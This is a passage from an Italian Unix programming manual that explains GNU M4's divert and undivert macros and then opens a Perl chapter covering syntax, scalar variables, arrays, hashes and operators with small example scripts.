M4 consente l'uso di uno strano meccanismo, detto ***deviazione***, o *diversion*, attraverso il quale parte del flusso dell'output può essere accantonato temporaneamente per essere rilasciato in un momento diverso. Per ottenere questo si utilizzano due macro-istruzioni interne: '**divert**' e '**undivert**'.

```
divert ( [numero_deviazione] )
```

```
undivert ( [numero_deviazione [,...] ] )
```

La prima macro-istruzione, '**divert**', serve ad assegnare un numero di deviazione alla parte di output generato a partire dal punto in cui questa appare nell'input. Questo numero può essere omesso e in tal caso si intende lo zero in modo predefinito.

La deviazione zero corrisponde al flusso normale; ogni altro numero positivo rappresenta una deviazione differente. Quando termina l'input da elaborare vengono rilasciati i vari blocchi accumulati di output, in ordine numerico crescente. In alternativa, si può usare la macro-istruzione '**undivert**' per richiedere espressamente il recupero di output deviato; se questa viene utilizzata senza parametri, si intende il recupero di tutte le deviazioni, altrimenti si ottengono solo quelle elencate nei parametri.

Esiste un caso particolare di deviazione che serve a eliminare l'output; si ottiene utilizzando il numero di deviazione '**-1**'. Questa tecnica viene usata spesso anche come un modo per delimitare un'area di commenti che non si vuole siano riprodotti nell'output.

Come si può intuire, queste macro-istruzioni non restituiscono alcun valore.

Segue la descrizione di alcuni esempi.

- ```
  1 divert(1)
  2 Questo testo è deviato
  3 divert
  4 Questo testo segue l'andamento normale
  ```

  L'esempio si traduce nell'output seguente, dove le righe sono state numerate per facilitarne l'individuazione. Come si può notare, al termine del file di input viene rilasciato l'output deviato precedentemente:

  ```
  1
  4 Questo testo segue l'andamento normale

  2 Questo testo è deviato
  3
  ```

- ```
  1 divert(1)
  2 Questo testo è deviato
  3 divert
  4 Questo testo segue l'andamento normale
  5 undivert(1)
  ```

  Questo esempio è una variante di quello precedente, con la dichiarazione esplicita della richiesta di recupero dell'output deviato. Aggiungendo la macro-istruzione '**`undivert(1)`**', si inserisce anche un'interruzione di riga ulteriore (anche in questo caso vengono numerate le righe per facilitarne l'individuazione nel risultato):

  ```
  1
  4 Questo testo segue l'andamento normale
  5
  2 Questo testo è deviato
  3
  ```

- ```
  divert(-1)
  Quanto qui contenuto non deve dare alcun
  risultato nell'output.
  Le macro generano regolarmente i loro effetti,
  ma il loro output viene perduto.
  divert
  ```

  Questo esempio, mostra l'uso tipico di '**`divert(-1)`**'. Dal momento che alla fine appare la macro-istruzione '**`divert`**' (senza altre righe), dall'elaborazione di questo file si ottiene solo un codice di interruzione di riga, cioè una riga vuota (quella in cui appare la macro-istruzione '**`divert`**' finale).

- ```
  divert(1)
  Ciao maramao
  divert(2)
  Ciao Ciao
  divert(-1)
  undivert
  ```

L'uso di '**`divert(-1)`**' seguito da '**`undivert`**' permette di eliminare tutto l'output accumulato nelle varie deviazioni.

26.8 Riferimenti

- The Open Group, *The Single UNIX ® Specification, Version 2, Regular Expressions*, 1997

  ⟨*http://www.opengroup.org/onlinepubs/007908799/xbd/re.html* ⟩

- *Sed tutorials*

  ⟨*http://maven.smith.edu/%7Ejfrankli/250f00/sed.html* ⟩

- *The GNU Awk User's Guide*, Free Software Foundation

  ⟨*http://www.gnu.org/software/gawk/manual/gawk.html* ⟩

[1] **Grep GNU** GNU GPL

[2] **GNU findutils** GNU GPL

[3] **GNU SED** GNU GPL

[4] **Gawk** GNU GPL

[5] **GNU M4** GNU GPL

Capitolo 27

Perl

27.1 Struttura fondamentale 1453
27.1.1 Istruzioni 1454
27.1.2 Nomi 1454
27.1.3 Contesto operativo 1455
27.1.4 Tipi di dati 1455
27.1.5 Esecuzione dei programmi Perl 1455
27.2 Variabili e costanti scalari 1455
27.2.1 Variabili 1456
27.2.2 Variabili predefinite 1456
27.2.3 Costanti 1457
27.2.4 Esempi 1459
27.3 Array e liste 1461
27.3.1 Liste 1461
27.3.2 Array 1463
27.4 Array associativi o hash 1465
27.5 Operatori ed espressioni 1468
27.5.1 Operatori che intervengono su valori numerici, stringhe e liste 1468
27.5.2 Operatori logici 1470
27.5.3 Operatori particolari 1471
27.5.4 Raggruppamenti di espressioni 1471
27.6 Strutture di controllo del flusso 1472
27.6.1 Strutture condizionali: «if» e «unless» 1472
27.6.2 Iterazioni con condizione di uscita iniziale: «while» e «until» 1473
27.6.3 Iterazioni con condizione di uscita finale: «do-while» e «do-until» 1475
27.6.4 Iterazione enumerativa: «for» 1476
27.6.5 Iterazione con scansione di valori: «foreach» 1476
27.6.6 Istruzioni condizionate 1477
27.7 Funzioni interne 1478
27.8 Input e output dei dati 1479
27.8.1 Esecuzione di comandi di sistema 1479
27.8.2 Gestione dei file 1480
27.8.3 File globbing 1481
27.9 Funzioni definite dall'utente 1481

27.9.1 Chiamata per riferimento e chiamata per valore 1482
27.9.2 Campo di azione delle variabili 1483

27.10 Variabili contenenti riferimenti 1485

27.10.1 Riferimenti diretti 1485
27.10.2 Riferimenti simbolici 1485
27.10.3 Dereferenziazione 1485
27.10.4 Array multidimensionali 1487
27.10.5 Alias 1488

27.11 Avvio di Perl 1489

27.12 Operatori di delimitazione di stringhe 1490

27.12.1 Stringa letterale non interpolata: «q//» o «’ ’» 1491
27.12.2 Stringa letterale interpolata: «qq//» o «" "» 1492
27.12.3 Comando di sistema: «qx//» o «‘ ‘» 1492
27.12.4 Lista di parole: «qw//» 1493
27.12.5 Modello di confronto: «m//» o «//» 1493
27.12.6 Modello di sostituzione: «s//» 1494
27.12.7 Sostituzione di caratteri: «tr//» o «y//» 1496

27.13 Espressioni regolari 1497

27.13.1 Modificatori 1497
27.13.2 Metacaratteri 1498
27.13.3 Classi di caratteri 1500
27.13.4 Qualificatori: operatori di ripetizione 1500
27.13.5 Raggruppamenti 1501

27.14 Gestione generale dei file 1502

27.14.1 Apertura 1502
27.14.2 Codifica di file già aperti 1505
27.14.3 Chiusura 1505

27.15 Condivisione dei file 1505

27.15.1 Blocco dei file 1505

27.16 I/O con i file 1507

27.16.1 Lettura 1507
27.16.2 Scrittura 1508
27.16.3 Spostamento del puntatore 1509
27.16.4 Identificazione dei flussi di file 1510

27.17 Funzioni interne 1512

27.17.1 File 1512
27.17.2 Directory 1516
27.17.3 I/O 1517
27.17.4 Interazione con il sistema 1524
27.17.5 Funzioni matematiche 1526
27.17.6 Funzioni di conversione 1527
27.17.7 Gestione delle espressioni 1528
27.17.8 Array e hash 1528
27.17.9 Controllo dell'esecuzione del programma 1529

27.18 Riferimenti 1531

// 1493 abs() 1527 atan2() 1527 binmode 1517 chdir() 1516 chmod() 1512 chomp() 1517 chop() 1517 chown 1512 chr() 1527 close 1517 cos() 1527 defined() 1528 delete() 1528 die() 1529 do() 1529 eof 1517 eval() 1529 exec() 1525 exists() 1528 exit() 1529 exp() 1527 fcntl 1517 fileno 1517 flock 1517 for 1476 foreach 1476 getc 1517 glob() 1516 hex() 1527 if 1472 int() 1527 ioctl 1517 keys() 1528 kill() 1525 link() 1512 log() 1527 lstat() 1512 m// 1493 mkdir() 1516 oct() 1527 open() 1517 ord() 1527 pipe 1517 pop() 1528 print() 1517 printf() 1517 push() 1528 q// 1491 qq// 1492 qw// 1493 qx// 1492 read() 1517 readlink() 1512 rename() 1512 require() 1529 rmdir() 1516 s// 1494 scalar() 1528 seek() 1517 select() 1517 sin() 1527 sleep() 1525 splice() 1528 sprintf() 1517 sqrt() 1527 stat() 1512 stringhe 1490 subroutine 1481 symlink() 1512 system() 1525 tell() 1517 time() 1525 times() 1525 tr// 1496 umask() 1525 unless 1472 unlink() 1512 until 1473 utime() 1512 warn() 1529 while 1473 y// 1496 " " 1492 ' ' 1491 -x 1512 ` ` 1492

Perl è un linguaggio di programmazione ***interpretato*** (o quasi) che quindi viene eseguito senza bisogno di generare un eseguibile binario. In questo senso, i programmi Perl sono degli script eseguiti dal programma '**`perl`**' che per convenzione dovrebbe essere collocato in '`/usr/bin/`'.

Perl è molto importante in tutti gli ambienti Unix e per questo è molto utile conoscerne almeno i rudimenti. Volendo fare una scala di importanza, subito dopo la programmazione con la shell Unix standard, viene la programmazione in Perl.

27.1 Struttura fondamentale

Dal momento che i programmi Perl vengono realizzati in forma di script, per convenzione occorre indicare il nome del programma interprete nella prima riga.

```
#!/usr/bin/perl
```

Per l'esecuzione di script da parte di un interprete non si può fare affidamento sul percorso di ricerca degli eseguibili (la variabile di ambiente ***PATH***), è quindi importante che il binario '**`perl`**' si trovi dove previsto. Questa posizione ('`/usr/bin/perl`') è quella standard ed è opportuno che sia rispettata tale consuetudine, altrimenti i programmi in Perl di altri autori non potrebbero funzionare nel proprio sistema senza una variazione di tutti i sorgenti.

Il buon amministratore di sistema farebbe bene a collocare dei collegamenti simbolici in tutte le posizioni in cui sarebbe possibile che venisse cercato l'eseguibile '**perl**': '/bin/perl', '/usr/bin/perl' e '/usr/local/bin/perl'.

Come si può intuire, il simbolo '**#**' rappresenta l'inizio di un commento.

```
#!/usr/bin/perl
#
# Esempio di intestazione e di commenti in Perl.
...
```

Un'altra convenzione che riguarda gli script Perl è l'estensione: '.pl', anche se l'utilizzo o meno di questa non costituisce un problema.

27.1.1 Istruzioni

Le istruzioni seguono la convenzione del linguaggio C, per cui terminano con un punto e virgola ('**;**') e i raggruppamenti di queste, detti anche blocchi, si fanno utilizzando le parentesi graffe ('**{ }**').

> ***istruzione*** ;

> { ***istruzione*** ; ***istruzione*** ; ***istruzione*** ; }

Generalmente, un'istruzione può essere interrotta e ripresa nella riga successiva, dal momento che la sua conclusione è dichiarata chiaramente dal punto e virgola finale.

27.1.2 Nomi

I nomi che servono per identificare ciò che si utilizza all'interno del programma seguono regole determinate. In particolare:

- un nome può iniziare con un trattino basso o una lettera e può continuare con lettere, numeri e trattini bassi;
- i nomi sono sensibili alla differenza tra lettere maiuscole e minuscole.

Spesso i nomi sono preceduti da un simbolo che ne definisce il contesto:

Simbolo	Descrizione
$	il dollaro precede i nomi delle variabili scalari e degli elementi scalari di un array;
@	il simbolo *at* precede i nomi degli array normali o di raggruppamenti di elementi in essi contenuti;
%	il simbolo di percentuale precede i nomi degli array associativi, detti anche hash;
&	il simbolo e-commerciale precede i nomi delle funzioni quando queste vengono chiamate.

27.1.3 Contesto operativo

Perl è un linguaggio di programmazione con cui gli elementi che si indicano hanno un valore riferito al contesto in cui ci si trova. Questo significa, per esempio, che un array può essere visto come: una lista di elementi, il numero degli elementi contenuti, o una stringa contenente tutti i valori degli elementi contenuti.

In pratica, ciò serve a garantire che i dati siano trasformati nel modo più adatto al contesto, al quale è importante fare attenzione.

27.1.4 Tipi di dati

I tipi di dati più importanti che si possono gestire con Perl sono:

- stringhe;
- valori numerici;
- riferimenti;
- liste.

Le variabili di Perl vengono create semplicemente con l'assegnamento di un valore, senza la necessità di dichiarare il tipo o la dimensione. Le conversioni dei valori numerici sono fatte automaticamente in base al contesto.

In Perl non esiste un tipo di dati logico (nel senso di *Vero* o *Falso*); solo il risultato di una condizione lo è, ma non equivale a un valore gestibile in una variabile. Da un punto di vista logico-booleano, i valori seguenti vengono considerati equivalenti a *Falso*:

Valore	Descrizione
indefinito	equivalente a una variabile non dichiarata;
`""`	la stringa nulla;
`0`	il valore numerico zero;
`"0"`	la stringa corrispondente al numero zero.

Qualunque altro valore viene trattato come equivalente a *Vero*.

27.1.5 Esecuzione dei programmi Perl

Per poter eseguire un programma Perl, così come accade per qualunque altro tipo di script, occorre attivare il permesso di esecuzione per il file che lo contiene.

```
chmod +x programma_perl
```

Sembra banale o evidente, ma spesso ci si dimentica di farlo e quello che si ottiene è il classico ***permesso negato***: *Permission denied*.

27.2 Variabili e costanti scalari

La gestione delle variabili e delle costanti in Perl è molto simile a quella delle shell comuni. Una variabile scalare è quella che contiene un valore unico, contrapponendosi generalmente all'array che in Perl viene definito come variabile contenente una lista di valori.

27.2.1 Variabili

Le variabili scalari di Perl possono essere dichiarate in qualunque punto del programma e la loro dichiarazione coincide con l'inizializzazione, cioè l'assegnamento di un valore. I nomi delle variabili scalari iniziano sempre con il simbolo dollaro ('`$`').

> L'utilizzo del dollaro come prefisso dei nomi delle variabili assomiglia a quanto si fa con le shell derivate da quella di Bourne, con la differenza che con Perl il dollaro si lascia sempre, mentre con queste shell si utilizza solo quando si deve leggere il loro contenuto.

$***variabile_scalare*** = ***valore***

L'assegnamento di un valore a una variabile scalare implica l'utilizzo di quanto si trova alla destra del simbolo di assegnamento ('`=`') come valore scalare: una stringa, un numero o un riferimento. È il contesto a decidere il risultato dell'assegnamento.

27.2.2 Variabili predefinite

Perl fornisce automaticamente alcune variabili scalari che normalmente non devono essere modificate dai programmi. Tali variabili servono per comunicare al programma alcune informazioni legate al sistema, oppure l'esito dell'esecuzione di una funzione, esattamente come accade con i parametri delle shell comuni. La tabella 27.5 mostra un elenco di alcune di queste variabili standard. Si può osservare che i nomi di tali variabili non seguono la regola per cui il primo carattere deve essere un trattino basso o una lettera. Questa eccezione consente di evitare di utilizzare inavvertitamente nomi corrispondenti a variabili predefinite.

Tabella 27.5. Elenco di alcune variabili standard di Perl.

Nome	Descrizione
`$$`	Numero PID del programma.
`$<`	Numero UID reale dell'utente che esegue il programma.
`$>`	Numero UID efficace dell'utente che esegue il programma.
`$?`	Lo stato dell'ultima chiamata di sistema.
`$_`	Argomento predefinito di molte funzioni.
`$0`	Il nome del programma.

Nome	Descrizione
`$"`	Separatore di lista.
`$/`	Separatore di righe per l'input (*input record separator*).

27.2.3 Costanti

Le costanti scalari più importanti sono di tipo stringa o numeriche. Le prime richiedono la delimitazione con apici doppi o singoli, mentre quelle numeriche non richiedono alcuna delimitazione.

Perl gestisce le stringhe racchiuse tra apici doppi in maniera simile a quanto fanno le shell tradizionali:

- le variabili indicate al loro interno vengono espanse, o meglio, ***interpolate*** (secondo la terminologia di Perl);
- la barra obliqua inversa ('`\`') può essere utilizzata come prefisso di escape quando si vogliono includere nella stringa simboli che altrimenti sarebbero interpretati in modo diverso e quando si vogliono indicare codici per cui non esiste un simbolo della tastiera.

  Se una stringa viene interrotta e ripresa nella riga successiva, quello che si ottiene, nel punto dell'interruzione, è l'inserimento di un codice di interruzione di riga. In pratica, lo stesso codice di interruzione di riga utilizzato per andare a capo, viene inserito nella stringa e trattato esattamente per quello che è.

Anche le stringhe racchiuse tra apici singoli sono gestite in modo simile alle shell tradizionali:

- al loro interno non vengono effettuate interpolazioni di variabili;
- il carattere di escape, rappresentato dalla barra obliqua inversa, può essere utilizzato solo per inserire un apice letterale e la barra obliqua inversa stessa ('`\'`' e '`\\`').

Inoltre, davanti all'apice di inizio di una tale stringa, è necessario sia presente uno spazio.

La tabella 27.6 mostra un elenco di alcune di queste sequenze di escape utilizzabili nelle stringhe.

Tabella 27.6. Elenco di alcune sequenze di escape utilizzabili nelle stringhe delimitate con gli apici doppi.

Escape	Corrispondenza
`\\`	\
`\"`	"
`\$`	$
`\@`	@

Escape	Corrispondenza
`\'`	'
`\t`	*<HT>*
`\n`	*<LF>*
`\r`	*<CR>*
`\f`	*<FF>*
`\b`	*<BS>*
`\a`	*<BELL>*
`\e`	*<ESC>*
`\0`***n***	Numero ottale rappresentato da ***n***.
`\x`***h***	Numero esadecimale rappresentato da ***h***.

Quando all'interno di stringhe tra apici doppi si indicano delle variabili (scalari e non), potrebbe porsi un problema di ambiguità causato dalla necessità di distinguere il nome delle variabili dal resto della stringa. Quando dopo il nome della variabile segue un carattere o un simbolo che non può fare parte del nome (come uno spazio o un simbolo di punteggiatura), Perl non ha difficoltà a individuare la fine del nome della variabile e la continuazione della stringa. Quando ciò non è sufficiente, si può delimitare il nome della variabile tra parentesi graffe, così come si fa con le shell tradizionali.

`$`{***variabile***}

`@`{***variabile***}

27.2.3.1 Costanti numeriche

Le costanti numeriche possono essere indicate nel modo consueto, quando si usa la numerazione a base decimale, oppure anche in esadecimale e in ottale.

Con la numerazione a base 10, si possono indicare interi nel modo normale e valori decimali utilizzando il punto come separazione tra la parte intera e la parte decimale. Si può utilizzare anche la notazione esponenziale.

- numero intero: '**`123456`**'
- numero intero leggibile più facilmente: '**`1_234_567`**'
- numero reale: '**`123456.789`**'

- notazione esponenziale: '**2.3E-10**'

Un numero viene trattato come esadecimale quando è preceduto dal prefisso '**0x**' e come ottale quando inizia con uno zero.

- numero esadecimale: '**0xFFFF**'
- numero ottale: '**0377**'

Quando un numero ottale o esadecimale è contenuto in una stringa, l'eventuale conversione in numero non avviene automaticamente, come invece accade in presenza di notazioni in base dieci.

27.2.4 Esempi

L'esempio seguente è il più banale, emette semplicemente la stringa '**"Ciao Mondo!\n"**' attraverso lo standard output. È da osservare la parte finale, '**\n**', che completa la stringa con un codice di interruzione di riga in modo da portare a capo il cursore in una nuova riga dello schermo.

```
#!/usr/bin/perl

print "Ciao Mondo!\n";
```

Se il file si chiama '**1.pl**', lo si deve rendere eseguibile e quindi si può provare il suo funzionamento:

$ **chmod +x 1.pl** [*Invio*]

$ **1.pl** [*Invio*]

```
Ciao Mondo!
```

L'esempio seguente genera lo stesso risultato di quello precedente, ma con l'uso di variabili. Si può osservare che solo alla fine viene emesso il codice di interruzione di riga:

```
#!/usr/bin/perl

$primo = "Ciao";
$secondo = "Mondo";
print $primo;
print " ";
print $secondo;
print "!\n";
```

L'esempio seguente genera lo stesso risultato di quello precedente, ma con l'uso dell'interpolazione delle variabili all'interno di stringhe racchiuse tra apici doppi:

```
#!/usr/bin/perl

$primo = "Ciao";
$secondo = "Mondo";
print "$primo $secondo!\n";
```

L'esempio seguente emette la parola '**`CiaoMondo`**' senza spazi intermedi utilizzando la tecnica delle parentesi graffe:

```
#!/usr/bin/perl

$primo = "Ciao";
print "${primo}Mondo!\n";
```

L'esempio seguente mostra il comportamento degli apici singoli per delimitare le stringhe. Non si ottiene più l'interpolazione delle variabili:

```
#!/usr/bin/perl

$primo = "Ciao";
$secondo = "Mondo";
print '$primo $secondo!\n';
```

Se il file si chiama '**`5.pl`**', si può verificare il suo funzionamento nel modo seguente:

$ **`chmod +x 5.pl`** [*Invio*]

$ **`5.pl`** [*Invio*]

```
$primo $secondo!\n
```

Inoltre, mancando il codice di interruzione di riga finale, l'invito della shell riappare subito alla destra di quanto visualizzato.

L'esempio seguente mostra l'uso di una costante e di una variabile numerica. Il valore numerico viene convertito automaticamente in stringa al momento dell'interpolazione:

```
#!/usr/bin/perl

$volte = 1000;
$primo = "Ciao";
$secondo = "Mondo";
print "$volte volte $primo $secondo!\n";
```

Se il file si chiama '**`6.pl`**', si può verificare il suo funzionamento nel modo seguente:

$ **`chmod +x 6.pl`** [*Invio*]

$ **`6.pl`** [*Invio*]

```
1000 volte Ciao Mondo!
```

L'esempio seguente permette di prendere confidenza con le variabili predefinite descritte in precedenza:

```
#!/usr/bin/perl

print "Nome del programma: $0\n";
print "PID del programma: $$\n";
print "UID dell'utente: $<\n";
print "Ultima chiamata di sistema: $?\n";
```

Se il file si chiama '**`7.pl`**', si può verificare il suo funzionamento nel modo seguente:

`$` **`chmod +x 7.pl`** [*Invio*]

`$` **`7.pl`** [*Invio*]

Il risultato potrebbe essere simile a quello seguente:

```
Nome del programma: ./7.pl
PID del programma: 717
UID dell'utente: 500
Ultima chiamata di sistema: 0
```

27.3 Array e liste

Perl gestisce gli array in modo dinamico, nel senso che possono essere allungati e accorciati a piacimento. Quando si parla di array si pensa generalmente a una variabile che abbia questa forma; ma Perl permette di gestire delle costanti array, definite liste.

Generalmente, il primo elemento di un array o di una lista ha indice zero. Questo assunto può essere cambiato agendo su una particolare variabile predefinita, ma ciò è sconsigliabile.

27.3.1 Liste

Le liste sono una sequenza di elementi scalari, di qualunque tipo, separati da virgole, racchiusi tra parentesi tonde. L'ultimo elemento può essere seguito o meno da una virgola, prima della parentesi chiusa.

(***elemento***, ...)

La lista vuota, o nulla, si rappresenta con le semplici parentesi aperta e chiusa:

```
()
```

Seguono alcuni esempi in cui si mostrano diversi modi di indicare la stessa lista.

```
("uno", "due", "tre", "quattro", "ciao")
```

```
("uno", "due", "tre", "quattro", "ciao",)
```

```
("uno",
 "due",
 "tre",
 "quattro",
 "ciao",)
```

```
(
    "uno",
    "due",
    "tre",
    "quattro",
    "ciao",
)
```

Una lista può essere utilizzata per inizializzare un array, ma se si pretende di assegnare una lista a un variabile scalare, si ottiene in pratica che la variabile scalare contenga solo il valore dell'ultimo elemento della lista (alla variabile vengono assegnati, in sequenza, tutti gli elementi della lista, per cui, quello che resta è l'ultimo). Per esempio:

```
$miavar = ("uno", "due", "tre", "quattro", "ciao");
```

assegna a '**`$miavar`**' solo la stringa '**`"ciao"`**'.

Una lista di valori può essere utilizzata con un indice, per fare riferimento solo a uno di tali valori. Naturalmente ciò è utile quando l'indice è rappresentato da una variabile. L'esempio seguente mostra la trasformazione di un indice ('**`$ind`**'), che abbia un valore numerico compreso tra zero e nove, in un termine verbale.

```
$numverb = (
        "zero",
        "uno",
        "due",
        "tre",
        "quattro",
        "cinque",
        "sei",
        "sette",
        "otto",
        "nove",
)[$ind];
```

Gli elementi contenuti in una lista che non sono scalari, vengono interpolati, incorporando in quel punto tutti gli elementi che questi rappresentano. Gli eventuali elementi non scalari nulli, non rappresentano alcun elemento e vengono semplicemente ignorati. Per esempio, le due liste seguenti sono perfettamente identiche:

```
("uno", "due", (), ("tre", "quattro", "cinque"), "sei")
```

```
("uno", "due", "tre", "quattro", "cinque", "sei")
```

Naturalmente ciò ha maggiore significato quando non si tratta semplicemente di liste annidate, ma di array collocati all'interno di liste.

27.3.2 Array

L'array è una variabile contenente una lista di valori di qualunque tipo, purché scalari. Il nome di un array inizia con il simbolo '@' quando si fa riferimento a tutto l'insieme dei suoi elementi o anche solo a parte di questi. Quando ci si riferisce a un solo elemento di questo si utilizza il dollaro.

In pratica, quando si fa riferimento a un solo elemento di un array si può immaginare che si tratti di un gruppo di elementi composto da un solo elemento, per cui si può utilizzare il prefisso '@' anche in questo caso.

Un array può essere dichiarato vuoto, con la sintassi seguente:

@***array*** = ()

In alternativa gli si può assegnare una lista di elementi:

@***array*** = (***elemento***, ...)

Il riferimento a un solo elemento di un array viene indicato con la notazione seguente (le parentesi quadre fanno parte della notazione):

$***array***[***indice***]

Il riferimento a un raggruppamento di elementi può essere indicato in vari modi:

@***array***[***indice1***, ***indice2***, ...]

In tal caso ci si riferisce a un sottoinsieme composto dagli elementi indicati dagli indici contenuti all'interno delle parentesi quadre.

@***array***[***indice_iniziale***..***indice_finale***]

In questo modo ci si riferisce a un sottoinsieme composto dagli elementi contenuti nell'intervallo espresso dagli indici iniziale e finale.

Nella gestione degli array sono importanti due variabili predefinite:

Variabile	Descrizione
`$[`	rappresenta l'indice del primo elemento di un array e si usa azzerata convenzionalmente, in modo che per identificare il primo elemento serva l'indice zero (meglio non modificare questa variabile);
`$#`***array***	rappresenta l'ultimo indice dell'array identificato dal nome posto dopo il simbolo '**`$#`**'.

Assegnare un array o parte di esso a una variabile scalare, significa in pratica assegnare un numero intero esprimente il numero di elementi in esso contenuti. L'esempio seguente assegna in pratica a '**`$mioscalare`**' il valore due.

```
@mioarray = ("uno", "due");
$mioscalare = @mioarray;
```

Inserire un array o parte di esso in una stringa delimitata con gli apici doppi, implica l'interpolazione degli elementi, separati con quanto contenuto nella variabile '**`$"`**' (il separatore di lista). La variabile predefinita '**`$"`**' contiene normalmente uno spazio singolo. L'esempio seguente assegna a '**`$mioscalare`**' la stringa '**`"uno due"`**':

```
@mioarray = ("uno", "due");
$mioscalare = "@mioarray";
```

Perl fornisce degli array predefiniti, di cui il più importante è '**`@ARGV`**' che contiene l'elenco degli argomenti ricevuti dalla riga di comando.

L'esempio seguente permette di verificare quanto descritto sugli array di Perl:

```
#!/usr/bin/perl

# Dichiara l'array assegnandogli sia stringhe che numeri
@elenco = ("primo", "secondo", 3, 4, "quinto");

# Attraverso l'assegnamento seguente, $elementi riceve il numero di
# elementi contenuti nell'array.
$elementi = @elenco;

# Emette tutte le informazioni legate all'array.
print "L'array contiene $elementi elementi.\n";
print "L'indice iniziale è $[.\n";
print "L'ultimo elemento si raggiunge con l'indice $#elenco.\n";

# Emette in ordine tutti gli elementi dell'array.
print "L'array contiene: $elenco[0] $elenco[1] $elenco[2] $elenco[3] ";
print "$elenco[4].\n";

# Idem
print "Anche in questo modo si legge il contenuto dell'array: @elenco.\n";
```

Se il file si chiama '**`11.pl`**', si può verificare il suo funzionamento nel modo seguente:

`$` **`chmod +x 11.pl`** [*Invio*]

$ **11.pl** [*Invio*]

```
L'array contiene 5 elementi.
L'indice iniziale è 0.
L'ultimo elemento si raggiunge con l'indice 4.
L'array contiene: primo secondo 3 4 quinto.
Anche in questo modo si legge il contenuto dell'array: primo secondo 3 4 quinto.
```

L'esempio seguente mostra il funzionamento dell'array predefinito '**@ARGV**':

```
#!/usr/bin/perl

print "Il programma $0 è stato avviato con gli argomenti seguenti:\n";
print "@ARGV\n";
print "Il primo argomento era $ARGV[0]\n";
print "e l'ultimo era $ARGV[$#ARGV].\n";
```

Se il file si chiama '**12.pl**', si può verificare il suo funzionamento nel modo seguente:

$ **chmod +x 12.pl** [*Invio*]

$ **12.pl carbonio idrogeno ossigeno** [*Invio*]

```
Il programma ./12.pl è stato avviato con gli argomenti seguenti:
carbonio idrogeno ossigeno
Il primo argomento era carbonio
e l'ultimo era ossigeno.
```

27.4 Array associativi o hash

L'array associativo, o hash, è un tipo speciale di array che normalmente non si trova negli altri linguaggi di programmazione. Gli elementi sono inseriti a coppie, dove il primo elemento della coppia è la chiave di accesso per il secondo.

Il nome di un hash inizia con il segno di percentuale ('%'), mentre il riferimento a un elemento scalare di questo si fa utilizzando il dollaro, mentre l'indicazione di un sottoinsieme avviene con il simbolo '@', come per gli array.

La dichiarazione, ovvero l'assegnamento di un array associativo, si esegue in uno dei due modi seguenti:

%***array_associativo*** = (***chiave***, ***elemento***, ...)

%***array_associativo*** = (***chiave*** => ***elemento***, ...)

La seconda notazione esprime meglio la dipendenza tra la chiave e l'elemento che con essa viene raggiunto. L'elemento che funge da chiave viene trattato sempre come stringa, mentre gli elementi abbinati alle chiavi possono essere di qualunque tipo scalare. In particolare, nel

caso si utilizzi l'abbinamento tra chiave e valore attraverso il simbolo '**=>**', ciò che sta alla sinistra di questo viene interpretato come stringa in ogni caso, permettendo di eliminare la normale delimitazione attraverso apici.

Un elemento singolo di un hash viene indicato con la notazione seguente, dove le parentesi graffe fanno parte dell'istruzione.

$***array_associativo***{***chiave***}

La chiave può essere una costante stringa o un'espressione che restituisce una stringa. La costante stringa può anche essere indicata senza apici.

Un sottoinsieme di un hash è un'entità equivalente a un array e viene indicato con la notazione seguente:

@***array_associativo***{***chiave1***,***chiave2***,...}

Perl fornisce alcuni array associativi predefiniti. Il più importante è '**%ENV**' che contiene le variabili di ambiente, cui si accede indicando il nome della variabile come chiave.

L'esempio seguente mostra un semplice array associativo e il modo di accedere ai suoi elementi in base alla chiave:

```
#!/usr/bin/perl

# Dichiarazione dell'array: attenzione a non fare confusione!
#              -------------    ----------------    ---------
%deposito = ("primo", "alfa", "secondo", "bravo", "terzo", 3);


# Emette il contenuto dei vari elementi.
print "$deposito{primo}\n";
print "$deposito{secondo}\n";
print "$deposito{terzo}\n";
```

Se il file si chiama '**21.pl**', si può verificare il suo funzionamento nel modo seguente:

$ **chmod +x 21.pl**[*Invio*]

$ **21.pl**[*Invio*]

```
alfa
bravo
3
```

L'esempio seguente è identico al precedente, ma l'hash viene dichiarato in modo più facile da interpretare visivamente:

```
#!/usr/bin/perl

# Dichiarazione dell'array.
%deposito = (
        "primo", "alfa",
        "secondo", "bravo",
        "terzo", 3,
);

# Emette il contenuto dei vari elementi.
print "$deposito{primo}\n";
print "$deposito{secondo}\n";
print "$deposito{terzo}\n";
```

L'esempio seguente è identico al precedente, ma l'hash viene dichiarato in modo ancora più leggibile:

```
#!/usr/bin/perl

# Dichiarazione dell'array.
%deposito = (
        primo   => "alfa",
        secondo => "bravo",
        terzo   => 3,
);

# Emette il contenuto dei vari elementi.
print "$deposito{primo}\n";
print "$deposito{secondo}\n";
print "$deposito{terzo}\n";
```

L'esempio seguente mostra l'uso dell'array '**%ENV**' per la lettura delle variabili di ambiente:

```
#!/usr/bin/perl

print "PATH: $ENV{PATH}\n";
print "TERM: $ENV{TERM}\n";
```

Se il file si chiama '**24.pl**', si può verificare il suo funzionamento nel modo seguente:

$ **chmod +x 24.pl** [*Invio*]

$ **24.pl** [*Invio*]

```
PATH: /usr/local/bin:/bin:/usr/bin:/usr/bin/X11
TERM: linux
```

27.5 Operatori ed espressioni

Il sistema di operatori e delle relative espressioni che possono essere create con Perl è piuttosto complesso. La parte più consistente di questa gestione riguarda il trattamento delle stringhe, che qui viene descritto particolarmente in un altro capitolo. Alcuni tipi di espressioni e i relativi operatori non vengono mostrati, data la loro complessità per chi non conosca già il linguaggio C. In particolare viene saltata la gestione dei dati a livello di singoli bit.

Il senso e il risultato di un'espressione dipende dal contesto. La valutazione di un'espressione dipende dalle precedenze che esistono tra i vari tipi di operatori. Si parla di precedenza superiore quando qualcosa viene valutato prima di qualcos'altro, mentre la precedenza è inferiore quando qualcosa viene valutato dopo qualcos'altro.

27.5.1 Operatori che intervengono su valori numerici, stringhe e liste

Gli operatori che intervengono su valori numerici sono elencati nella tabella 27.39.

Tabella 27.39. Elenco degli operatori utilizzabili in presenza di valori numerici. Le metavariabili indicate rappresentano gli operandi e la loro posizione.

Operatore e operandi	Descrizione
++*op*	Incrementa di un'unità l'operando prima che venga restituito il suo valore.
op++	Incrementa di un'unità l'operando dopo averne restituito il suo valore.
--*op*	Decrementa di un'unità l'operando prima che venga restituito il suo valore.
op--	Decrementa di un'unità l'operando dopo averne restituito il suo valore.
+*op*	Non ha alcun effetto.
-*op*	Inverte il segno dell'operando.
op1 + *op2*	Somma i due operandi.
op1 - *op2*	Sottrae dal primo il secondo operando.
op1 * *op2*	Moltiplica i due operandi.
op1 / *op2*	Divide il primo operando per il secondo.
